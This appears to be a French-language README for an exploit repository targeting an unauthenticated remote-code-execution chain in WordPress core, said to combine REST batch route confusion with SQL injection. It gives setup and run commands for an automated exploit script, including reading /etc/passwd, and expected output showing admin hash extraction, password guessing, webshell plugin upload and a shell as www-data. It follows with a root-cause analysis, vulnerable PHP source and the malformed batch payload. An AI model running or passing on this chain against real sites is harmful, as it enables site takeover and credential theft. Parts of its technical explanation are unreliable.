
Exploit RCE non authentifié WordPress combinant confusion de route et injection SQL. Script automatisé, configuration de laboratoire et analyse détaillée de la vulnérabilité fournis.
Vulnérabilité: REST Batch Route Confusion + WP_Query SQL Injection → RCE complet
CVSS v3.1: 10.0 / 10.0 — CRITIQUE | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Versions affectées: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Version corrigée: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)
---
## Démarrage rapide
### 1. Configurer le laboratoire vulnérable
**Prérequis :** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030
# Start vulnerable WordPress
docker compose up -d
# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080
pip install requests
python3 exploit.py http://localhost:8080
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"
python3 exploit.py http://localhost:8080 --check-only
### 3. Sortie attendue```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible
[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...
[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123
[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated
[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php
[+] RCE CONFIRMED!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target$ _
| Fichier | Description |
|---|---|
README.md | Analyse complète de la vulnérabilité et rapport d'exploitation |
exploit.py | Script d'exploitation automatisé (zéro accès → RCE en une seule commande) |
docker-compose.yml | Environnement de laboratoire WordPress vulnérable |
chain-rce.md | Documentation de la chaîne RCE automatisée |
images/ | Captures d'écran de l'exploitation manuelle |
Vulnérabilité : Exécution de code à distance non authentifiée — Confusion de route REST Batch + Injection SQL WP_Query
CVSS v3.1 : 10.0 / 10.0 — CRITIQUE
Vecteur : AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-60137 est une vulnérabilité RCE non authentifiée dans le cœur de WordPress. Elle combine deux bogues indépendants en une chaîne d'exploitation complète allant de l'absence totale d'accès au compromis complet du serveur :
| CVE | Bogue | Rôle dans la chaîne |
|---|---|---|
| CVE-2026-63030 | Confusion de route REST Batch | Contournement de l'authentification |
| CVE-2026-60137 | Injection SQL author__not_in | Lecture/écriture arbitraire de la base de données |
Versions affectées :
Conditions d'exploitation :
→ La grande majorité des installations WordPress sont vulnérables par défaut.
/wp-json/batch/v1)Permet d'envoyer plusieurs requêtes d'API REST dans une seule requête HTTP :```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }
Chaque sous-requête est associée à son propre gestionnaire, et chaque gestionnaire possède son propre **callback de permission**.
### WP_Query — `author__not_in`
Classe de requête de base de données principale. Le paramètre `author__not_in` accepte un tableau d'entiers, générant la clause SQL :```sql
AND post_author NOT IN (5, 12, 23)
Chaque élément passe par absint() → ne conservant que la partie entière.
wp_parse_url()Wrapper pour parse_url(). Lors de la réception d'une URL invalide → retourne WP_Error.```php
wp_parse_url("https://example.com/path") // → OK
wp_parse_url("///") // → WP_Error
## 3. Cause racine — Bug A : Confusion de route par lot (CVE-2026-63030)
**Fichier :** `wp-includes/rest-api/class-wp-rest-server.php`
### Code source vulnérable :```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = $batch_request->get_json_params()['requests'];
$matches = array();
foreach ( $requests as $i => $single_request ) {
$parsed = wp_parse_url( $single_request['path'] );
if ( is_wp_error( $parsed ) ) {
$responses[ $i ] = $this->error_to_response( $parsed );
continue; // ←BUG: $matches[] is NOT appended
}
$matches[] = $this->match_request_to_handler( $parsed );
// ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
}
// Dispatch — this is where the bug comes into play
$match_index = 0;
foreach ( $requests as $i => $single_request ) {
if ( isset( $responses[ $i ] ) ) continue;
$handler = $matches[ $match_index ]; // ← INDEX IS DESYNCED
$match_index++;
// Request[i] runs with the permission callback OF ANOTHER REQUEST
$permission_callback = $handler['permission_callback'];
call_user_func( $permission_callback, $single_request );
}
}
Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}
Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler
Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication
### Pourquoi `"///"` déclenche-t-il le bug ?
Lorsque PHP `parse_url()` rencontre `"///"`, il tente de l'analyser conformément à la **RFC 3986** — structure d'URL :```
scheme :// authority / path
│ │ │
"https" "localhost:8080" "/wp/v2/posts"
│
host + port
Lorsqu'il reçoit "///", il l'interprète comme :```
// → authority begins (double slash = has host)
/ → empty authority, path begins immediately
→ host = "" (empty)
→ path = "" (empty)
→ scheme = none
Résultat retourné par PHP:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version
WordPress encapsule cela dans wp_parse_url() → détecte aucun schéma valide, aucun hôte valide, aucun chemin significatif → retourne WP_Error.
wp_parse_url("///") retourne WP_Error (URL malformée). Cette erreur entraîne l'ignorance de la requête dans la boucle qui construit $matches, mais elle n'est PAS ignorée dans la boucle de répartition → le tableau devient désynchronisé.